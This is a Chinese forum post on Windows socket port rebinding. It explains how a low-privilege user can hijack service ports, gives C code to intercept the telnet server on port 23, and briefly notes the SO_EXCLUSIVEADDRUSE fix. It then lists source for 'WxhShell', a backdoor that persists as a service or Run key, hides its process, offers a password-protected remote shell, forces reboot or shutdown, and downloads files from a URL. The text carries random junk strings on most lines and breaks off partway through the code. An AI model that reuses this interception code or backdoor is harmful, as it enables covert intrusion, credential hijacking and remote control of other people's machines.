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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K&iU+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :LR>U;2  
)G|'PXI@,  
  saddr.sin_family = AF_INET; (DKQHL;  
TP)}1 @  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); safI`b w1  
hzy#%FaB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j1$s^-9  
2o`L^^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v1s0kdR,>  
Al}%r85  
  这意味着什么?意味着可以进行如下的攻击: WS ^%< h#  
ohB@ijC!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ncij)7c)u  
p w`YMk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3gba~}c)  
+C[%^G-:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 O>2i)M-h9x  
,fD#)_\g2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <#:ey^q<  
;ywUl`d  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `CEHl &w  
$+[ v17lF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8Nf%<nUv  
)ocr.wU@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /.[78:G\,  
hW-?j&yJ?  
  #include e:RgCDWL  
  #include j|ZhGerp  
  #include JE/Kf<  
  #include    !&vPG>V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [Xo[J?w],2  
  int main() eq$.np  
  { |Skhx9};  
  WORD wVersionRequested; rTtxmw0  
  DWORD ret; B["C~aF  
  WSADATA wsaData; 2G BE=T  
  BOOL val; X?OH//co  
  SOCKADDR_IN saddr; .0'FW!;FV  
  SOCKADDR_IN scaddr; HO9w"){d$  
  int err; nHF%PH#|o  
  SOCKET s; OOj }CZ6  
  SOCKET sc; 2umgF  
  int caddsize; 96S#Q*6+R  
  HANDLE mt; S/7?6y~  
  DWORD tid;   QNgfvy  
  wVersionRequested = MAKEWORD( 2, 2 ); 4Yya+[RY  
  err = WSAStartup( wVersionRequested, &wsaData ); 8~8VoU&  
  if ( err != 0 ) { /}$D&KwYg  
  printf("error!WSAStartup failed!\n"); 7 y'2  
  return -1; PFPZ]XI%F  
  } J`d;I#R%c  
  saddr.sin_family = AF_INET; ._US8  
   % (x9~"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 YS+|n%?  
zqa7!ky  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ppK`7J>Z  
  saddr.sin_port = htons(23); v<t r1cUT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jkfc=O6^  
  { ]?a i  
  printf("error!socket failed!\n"); 4b :q84  
  return -1; <e@+w6Kp'7  
  } jLv8K  
  val = TRUE; 4S3uzy%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )V?:qCuY>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xy[aZr  
  { K+ @R [  
  printf("error!setsockopt failed!\n"); Q6rvTV'vv  
  return -1; p5\B0G<m  
  } )lrmP(C*.a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wOs t).  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |WDMyKf6J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D $3Mg  
|kh7F0';"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0 pPSg9  
  { :2(U3~3:  
  ret=GetLastError(); B0|!s  
  printf("error!bind failed!\n"); }GL@?kAGR5  
  return -1; oA]rwa UX  
  } aV`_@F-8  
  listen(s,2); g=]VQ;{  
  while(1) VH7nyqEM  
  { jPa"|9A  
  caddsize = sizeof(scaddr); V3<H8pL  
  //接受连接请求 CWw#0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); r: M>/Z/  
  if(sc!=INVALID_SOCKET) 2nkymEPu  
  { $u P'>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); db`L0JB  
  if(mt==NULL) XsbYWJdds  
  { `A ^  
  printf("Thread Creat Failed!\n"); :.aMhyh#*  
  break; \2!1fN  
  } ;Bwg'ThT  
  }  {Bw  
  CloseHandle(mt); (rm*KD"]  
  } l~Rd\.O  
  closesocket(s); yr/G1?k%ML  
  WSACleanup(); $* hqF1Q  
  return 0; z1S p'h$  
  }   6&`hf >  
  DWORD WINAPI ClientThread(LPVOID lpParam) hU6oWm  
  { iR]K!j2  
  SOCKET ss = (SOCKET)lpParam; dpSNh1  
  SOCKET sc; }WDzzjDR+  
  unsigned char buf[4096]; k{ ~0BK  
  SOCKADDR_IN saddr; TP{2q51yM  
  long num; Wmc@: (n  
  DWORD val; p(Ux]_s%  
  DWORD ret; \45F;f_r6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ???`BF[|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   zv0bE?W9   
  saddr.sin_family = AF_INET; 1s/548wu  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); IRyZ0$r:e\  
  saddr.sin_port = htons(23); %8{nuq+c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7BkY0_KK  
  { RG_.0'5=hc  
  printf("error!socket failed!\n"); B-UsMO  
  return -1; F<TIZ^gFP  
  } #ADm^UT^  
  val = 100; ohna1a^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qsWy <yL+  
  { 75^AO>gt   
  ret = GetLastError(); 5D eo}(3  
  return -1; AF\Jh+ynT!  
  } 0TWd.+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A<''x'\/  
  { gy>B 5ie  
  ret = GetLastError(); Q|xa:`3?  
  return -1; ( 4(,"  
  } |p.|zH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) JIPBJ  
  { w)C5XX30;  
  printf("error!socket connect failed!\n"); S#:l17e3  
  closesocket(sc); N@0cn q:"  
  closesocket(ss); c{ ([U  
  return -1; rXP~k]tC  
  } _;M3=MTM9  
  while(1) F:N8{puq5  
  { vb6kr?-i*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i&YWutG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  stQ_Ke  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o$Ju\(Y$<+  
  num = recv(ss,buf,4096,0); m~0Kos%^*b  
  if(num>0) ! k 1 Ge+  
  send(sc,buf,num,0); G>Hg0u0!,  
  else if(num==0) $b(CN+#  
  break; rCUGaf~  
  num = recv(sc,buf,4096,0); g%<n9AUl  
  if(num>0) ]f_`w81[  
  send(ss,buf,num,0); !_P&SmK3  
  else if(num==0) ;SIWWuk  
  break; eG7Yyz+t$  
  } Y>6N2&Q  
  closesocket(ss); )2a)$qx;  
  closesocket(sc); pX+4B=*  
  return 0 ; S$ffTdRz  
  } :V1j*)  
T+e*'<!O  
.cm2L,1h  
========================================================== "VDMO^  
m?kyAW'|  
下边附上一个代码,,WXhSHELL Dxy^r*B  
t)1`^W}  
========================================================== iX[g  
MU%7'J :_  
#include "stdafx.h" <RKT |  
"}V_.I* +  
#include <stdio.h> IC?(F]$%>  
#include <string.h> u*/+cT  
#include <windows.h> uP+VS>b  
#include <winsock2.h> PMUW<UI  
#include <winsvc.h> *YSRZvD<\  
#include <urlmon.h> |nE4tN#J<  
jD${ZIv  
#pragma comment (lib, "Ws2_32.lib") SA7(EJ95  
#pragma comment (lib, "urlmon.lib") Re&"Q8I.8  
M*f]d`B  
#define MAX_USER   100 // 最大客户端连接数 P?S]Q19Q4  
#define BUF_SOCK   200 // sock buffer 5vg="@O K  
#define KEY_BUFF   255 // 输入 buffer sn"z'=ch  
xv&h>GOg  
#define REBOOT     0   // 重启 oC-v>&bW  
#define SHUTDOWN   1   // 关机 |c^?tR<  
1je j7p>K  
#define DEF_PORT   5000 // 监听端口 `nKN|6o#x  
)U=]HpuzI  
#define REG_LEN     16   // 注册表键长度 sM+~x<}0  
#define SVC_LEN     80   // NT服务名长度 Ek1c>s,t  
?U{<g,^  
// 从dll定义API ^GyZycch  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }B a_epM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N<1+aL\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <Se9 aD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \5 rJ  
M~N/er  
// wxhshell配置信息 +:"0 %(  
struct WSCFG { J>5rkR@/  
  int ws_port;         // 监听端口 GbclR:G  
  char ws_passstr[REG_LEN]; // 口令 $ dF3@(p  
  int ws_autoins;       // 安装标记, 1=yes 0=no G:p85k `  
  char ws_regname[REG_LEN]; // 注册表键名 0Ni{UV? k  
  char ws_svcname[REG_LEN]; // 服务名 P#7=h:.522  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *mVg_Kl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MXa^ g"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s M*ay,v;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #=={h?UDT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9v[V"m`M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N!Rt040.%  
a eeor  
}; MM_:2 ^P)  
6y~F'/ww  
// default Wxhshell configuration Rq%Kw > {&  
struct WSCFG wscfg={DEF_PORT, Q2D!Agq=D  
    "xuhuanlingzhe", xhOoZ-  
    1, W"^=RY  
    "Wxhshell", ;}j(x;l>t  
    "Wxhshell", w7o`B R  
            "WxhShell Service", naW!b&:  
    "Wrsky Windows CmdShell Service", //_H _ue$  
    "Please Input Your Password: ", 3TH?7wi  
  1, V*{rHp{=p  
  "http://www.wrsky.com/wxhshell.exe", .z.4E:Iq  
  "Wxhshell.exe" 5OppK(Oi*C  
    }; ZGDT 6,  
@J"tM.  
// 消息定义模块 VOLj#H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l6&\~Z(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; avL_>7q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r]UF<*$  
char *msg_ws_ext="\n\rExit."; C!*.jvhT  
char *msg_ws_end="\n\rQuit."; \1Xk[%  
char *msg_ws_boot="\n\rReboot..."; dniU{v  
char *msg_ws_poff="\n\rShutdown..."; :#pdyJQ_  
char *msg_ws_down="\n\rSave to "; Iz5NA0[=2  
_BmObXOp.  
char *msg_ws_err="\n\rErr!"; Ph1XI&us9  
char *msg_ws_ok="\n\rOK!"; X 3$ W60Q  
> 'hM"4f  
char ExeFile[MAX_PATH]; 6FQi=}O1  
int nUser = 0; 8.#{J&h  
HANDLE handles[MAX_USER]; 52dD(  
int OsIsNt; ylKK!vRHT  
v$W[(  
SERVICE_STATUS       serviceStatus; +ti ?7|bK<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j 0pI  
[YfoQ1  
// 函数声明 w_xca(  
int Install(void); ~DI$O[KpR%  
int Uninstall(void); :Iv;%a0 -  
int DownloadFile(char *sURL, SOCKET wsh); UnF8#~  
int Boot(int flag); "(^XZAU#W  
void HideProc(void); hd(FOKOP  
int GetOsVer(void); "|L" C+tE  
int Wxhshell(SOCKET wsl); DS<1"4 b|  
void TalkWithClient(void *cs); K"H\gmV_ g  
int CmdShell(SOCKET sock); ) ;\c{QF  
int StartFromService(void); 3/@z4:p0R  
int StartWxhshell(LPSTR lpCmdLine); -f)fiQ-<  
FT@uZWgQ=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _!R$a-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 15\m.Ix  
x8PT+KC  
// 数据结构和表定义 r8J7zTD&  
SERVICE_TABLE_ENTRY DispatchTable[] = #Ub_m@@ 4  
{ Z[oEW>_A  
{wscfg.ws_svcname, NTServiceMain}, 7{L4a\JzT  
{NULL, NULL} ~,b^f{7`!  
}; t?W}=%M[  
ViPC Yt`of  
// 自我安装 X#lNS+&='  
int Install(void) 'J|)4OG:  
{ %w*)7@,+-  
  char svExeFile[MAX_PATH]; !Qe ;oMqy}  
  HKEY key; 2 }r=DAe0  
  strcpy(svExeFile,ExeFile); <EpL<K%  
rp||#v0l!w  
// 如果是win9x系统,修改注册表设为自启动 f'^uuO#x  
if(!OsIsNt) { /x6p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a/sjW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `hi=y BO  
  RegCloseKey(key); //q(v,D%Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vxOqo)yO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gBm'9|?  
  RegCloseKey(key); _\ToA9m  
  return 0; sjr,)|#[  
    } ,50  
  } :8A+2ra&  
} Ey&H?OFiP  
else { elOeXYO0  
G%<}TI1}  
// 如果是NT以上系统,安装为系统服务 wA=r ]BT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,#A(I#wL~  
if (schSCManager!=0) Ymk?@mV4  
{ h:YD $XE  
  SC_HANDLE schService = CreateService Cbw *? 9d  
  ( z)qYW6o%  
  schSCManager, tS'lJu  
  wscfg.ws_svcname, / (&E  
  wscfg.ws_svcdisp, Fb5U@X/vE  
  SERVICE_ALL_ACCESS, &O&HczO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k$w~JO!s  
  SERVICE_AUTO_START, Ts5)r(  
  SERVICE_ERROR_NORMAL, \G" S7  
  svExeFile, M&Ka ^h;N  
  NULL, =ejj@c  
  NULL, 94u{k1d x  
  NULL, KP&+fDa  
  NULL, { mi}3/  
  NULL ,=:K&5mCv  
  ); ]pax,| +$C  
  if (schService!=0) ef5)z}B   
  { iC gZ3M]  
  CloseServiceHandle(schService); :Ha/^cC/3  
  CloseServiceHandle(schSCManager); LKIMT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =3e7n2N)  
  strcat(svExeFile,wscfg.ws_svcname); " O&93#8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3S0.sU~_U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U0~_'&Fe  
  RegCloseKey(key); ?+yr7_f3*  
  return 0; nw+~:c  
    } Xn6#q3;^|  
  } )`\hK  
  CloseServiceHandle(schSCManager); xY^sC56Z  
} 25Dl4<-Z  
} ~M C|  
m&.LJ*uM\K  
return 1; CRb8WD6.  
} :xh{SsW@  
WE<?y_0y&  
// 自我卸载 N9e'jM>Oos  
int Uninstall(void) "TV'}HH  
{ &`"DG$N(  
  HKEY key; $*yYmF  
*]6g-E?:@  
if(!OsIsNt) { D'"  T'@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BuJo W@)  
  RegDeleteValue(key,wscfg.ws_regname); NB-dlv1  
  RegCloseKey(key); oxwbq=a6yV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [2%[~&4  
  RegDeleteValue(key,wscfg.ws_regname); bz4Gzp'6k  
  RegCloseKey(key); Hq3|>OqC2Q  
  return 0; K$CC ~,D  
  } zC?' Qiuh*  
} F^i3e31*t  
} Wv;0PhF  
else { sZ.<:mu[  
zA,vp^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CWj_K2=d  
if (schSCManager!=0) D tsZP (  
{ I= mz^c{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XHr*Rs.[=  
  if (schService!=0) w+M/VsL  
  { Wh[QR-7Ew  
  if(DeleteService(schService)!=0) { [BWq9uE  
  CloseServiceHandle(schService); 54 lD+%E  
  CloseServiceHandle(schSCManager); *FS8]!Qg  
  return 0; `KJ( .m  
  } a:kAo0@":j  
  CloseServiceHandle(schService); D31X {dJ  
  } VF%QM;I[Rc  
  CloseServiceHandle(schSCManager); %go2tv:|W  
} )H8_.]|  
} ;Rrh$Ag  
P}bIp+  
return 1; LCF}Y{  
}  j]u!;]  
=C"[o\]VV  
// 从指定url下载文件  q6 CrUn  
int DownloadFile(char *sURL, SOCKET wsh) !b8V&<  
{ F'bwXb**  
  HRESULT hr; }K{1Bm@S  
char seps[]= "/"; "F F$Q#)  
char *token; _jWs(OmJ  
char *file; E$ d#4x  
char myURL[MAX_PATH]; 5E!C?dv(z  
char myFILE[MAX_PATH]; &5 CRXf  
5ut| eD`3  
strcpy(myURL,sURL); nL@'??I1  
  token=strtok(myURL,seps); mypV[  
  while(token!=NULL) BI'>\hX/V  
  { cc@W 6W  
    file=token; LC%o coc  
  token=strtok(NULL,seps); -IPo/?}  
  } <r%K i`u(p  
+;N]34>S7  
GetCurrentDirectory(MAX_PATH,myFILE); LGP"S5V  
strcat(myFILE, "\\"); r $7.  
strcat(myFILE, file); &D, Iwq  
  send(wsh,myFILE,strlen(myFILE),0); d?,'$$aB  
send(wsh,"...",3,0); xc^@"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); asWk]jjMG  
  if(hr==S_OK) 222 Y?3>@D  
return 0; : 4ryi&Y  
else }:Z.g  
return 1; M'*s5:i  
 |/Nh#  
} 18&"j 8'm  
!fh (k  
// 系统电源模块 AdX))xgl  
int Boot(int flag) uLhGp@Dx  
{ Od1\$\4Z  
  HANDLE hToken; Sj+H{xJi  
  TOKEN_PRIVILEGES tkp; g4K+AK  
iw@rW5%'~  
  if(OsIsNt) { L9b.D<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u3T-U_:jSV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mm/\\my  
    tkp.PrivilegeCount = 1; rrD6x>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dwOfEYC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uD\R3cY  
if(flag==REBOOT) { crmQn ^4\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W .a>K$  
  return 0; byHc0ktI\  
} i3-5~@M  
else { )aS:h}zn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q*DT" W/0  
  return 0; m\:^9A4HCg  
} MZgaQUg  
  } Y teIp'T  
  else { bnxp[Qk|5  
if(flag==REBOOT) { 1p&.\ ^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9~SPoR/_0  
  return 0; _O`prX.:B0  
} ~ 9>H(c  
else { \GFq RRn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U2Ve @.  
  return 0; `<XS5h h=  
} }%g[1 #%(  
} #S>N}<>  
lhUGo =  
return 1; dOjly,!  
} pF;.nt)  
b 74 !Zw  
// win9x进程隐藏模块 ;-db/$O  
void HideProc(void) U[ ]yN.J  
{ x]^d'o:cDP  
/s?%ft#-9o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7@ym:6Y+]  
  if ( hKernel != NULL ) \!ZA#7  
  { fu7x,b0p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7nt(Rtbsu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I|X`9  
    FreeLibrary(hKernel); `bP`.Wm  
  } <ZC .9  
GM|& ,}  
return; ?QP>rm  
} YwVA].p@TI  
Xo PJ?6 3  
// 获取操作系统版本 vo/x`F'ib  
int GetOsVer(void) pY&6p~\p  
{ 3u@,OE  
  OSVERSIONINFO winfo; #2=l\y-#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~WrpJjI[  
  GetVersionEx(&winfo); pte\1q[N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q <}IO  
  return 1; h#1:ypA6l  
  else =dXHQU&Q  
  return 0; )nd^@G^  
} vJE=H9E  
Bg|d2,im  
// 客户端句柄模块 g *5_m(H  
int Wxhshell(SOCKET wsl) 2dts}G  
{ mnTF40l  
  SOCKET wsh; [s}W47N1  
  struct sockaddr_in client; wgz]R  
  DWORD myID; *q}yfa35eR  
6(rm%c  
  while(nUser<MAX_USER) T;u;r@R/  
{ P@y)K!{Nk  
  int nSize=sizeof(client); l;M,=ctB(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Zma;An6  
  if(wsh==INVALID_SOCKET) return 1; C(>!?-.  
r] /Ej!|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f2.=1)u.  
if(handles[nUser]==0) 2Z; !N37U  
  closesocket(wsh); XX=OyDLqP  
else 2)EqqX[D  
  nUser++; :7{GOx  
  } |5>Tf6 $(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g? vz\_  
jV% VN  
  return 0; 4s{=/,f  
} F=\ REq  
r1~W(r.x  
// 关闭 socket `.@udfog^0  
void CloseIt(SOCKET wsh) &Wy>t8DIK  
{ BOpZ8p'eH1  
closesocket(wsh); 4 95Y<x}=  
nUser--; fhi}x(  
ExitThread(0); ?0)K[Kd'Y  
} 5Q"yn2b4  
bI.hG32  
// 客户端请求句柄 nw+t!C  
void TalkWithClient(void *cs) Sr+hB>{  
{ =1Plu5  
vhMoCLb  
  SOCKET wsh=(SOCKET)cs; nscnG5'{+  
  char pwd[SVC_LEN]; 5,xPB5pK  
  char cmd[KEY_BUFF]; ( yLu=  
char chr[1]; dr)*.<_+a(  
int i,j; %=z>kU1|  
z/#,L!Z3  
  while (nUser < MAX_USER) { Le83[E*i  
0 Rb3| te  
if(wscfg.ws_passstr) { WOPIF~1v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); , S^y>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #-%D(=&I  
  //ZeroMemory(pwd,KEY_BUFF); M|nLD+d~8  
      i=0; OcB&6!1u  
  while(i<SVC_LEN) { ;$tdn?|  
@de  ZZ  
  // 设置超时 pZ Uy (  
  fd_set FdRead; ts=D  
  struct timeval TimeOut; } :?*n:g5  
  FD_ZERO(&FdRead); DXJw)%G w  
  FD_SET(wsh,&FdRead); y/@Bhzc  
  TimeOut.tv_sec=8; U_jW5mgsG  
  TimeOut.tv_usec=0; Mn5(Kw?o2J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yR5XcPoKI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); } ew{WD  
\HxF?i "   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RZEq@q  
  pwd=chr[0]; zMepF]V  
  if(chr[0]==0xd || chr[0]==0xa) { N75U.;U0  
  pwd=0; <j,I@%  
  break; HFB>0<$  
  } '7' 73  
  i++; <Z[Z&^  
    } SN|!FW.*:  
C;ab-gh  
  // 如果是非法用户,关闭 socket  }<kl3{)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;0Ua t  
} P|1  D6  
RrLj5Jq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j7d^g a-`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xJ#O|7N  
5X8 i=M;  
while(1) { ?taC !{  
'h ?  
  ZeroMemory(cmd,KEY_BUFF); /@Jg [na  
^G qO>1U  
      // 自动支持客户端 telnet标准   i=5!taxu}E  
  j=0; krGIE}5  
  while(j<KEY_BUFF) { `?T::&`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YS4"TOFw  
  cmd[j]=chr[0]; Qraq{'3  
  if(chr[0]==0xa || chr[0]==0xd) { yl*%P3m|  
  cmd[j]=0; aQH]hLvs  
  break; zM8 jjB  
  } k %{q q v  
  j++; 37n2#E  
    } AW;xlY= g  
Q@p' nE,  
  // 下载文件 pv4#`.m  
  if(strstr(cmd,"http://")) { 7E* 0;sA#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "z6p=B"?3  
  if(DownloadFile(cmd,wsh)) E*R-Dno_F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /0`Eux\  
  else nYC.zc*ox  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bfUKh%!M  
  } j*?E~M.'1K  
  else { "4KyJ;RA*  
Na]ITCVR  
    switch(cmd[0]) { Tb^1#O  
  `?^<r%*F.  
  // 帮助 zgS)j9q}  
  case '?': { ys)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X'.l h#&  
    break; qi^kf  
  } 3f>9tUWhTy  
  // 安装 8bw, dBN  
  case 'i': { zn'Mi:O'p  
    if(Install()) c.Izm+9k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {OQ)Np!  
    else uR=*q a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N f?\O@  
    break; 2/ )~$0  
    } @Nm{H  
  // 卸载 gjiS+N[  
  case 'r': { EGRIhnED#  
    if(Uninstall()) "tbKbFn9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P;7[5HFF  
    else od@!WjcM[8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R0w~ Z   
    break; aA%x9\Y  
    } ?y%Mm09  
  // 显示 wxhshell 所在路径 8u*Q^-fpo0  
  case 'p': { xt@v"P2Ok  
    char svExeFile[MAX_PATH]; H>\l E2  
    strcpy(svExeFile,"\n\r"); :3se/4y}  
      strcat(svExeFile,ExeFile); \HMuV g'Q  
        send(wsh,svExeFile,strlen(svExeFile),0); pcd?6jh8  
    break; V[8!ymi0  
    } .K_50 %s  
  // 重启 uI)z4Z  
  case 'b': { +CQIm!Sp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g5nL7;`N  
    if(Boot(REBOOT)) /w5c:BH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %}  
    else { yp hd'Pu"  
    closesocket(wsh); q@mZ0D-  
    ExitThread(0); E)'T;%  
    } uw>y*OLU+  
    break; mmC MsBfL  
    } X#W6;?Z\  
  // 关机 B|>eKI  
  case 'd': { uYE"O UNWL  
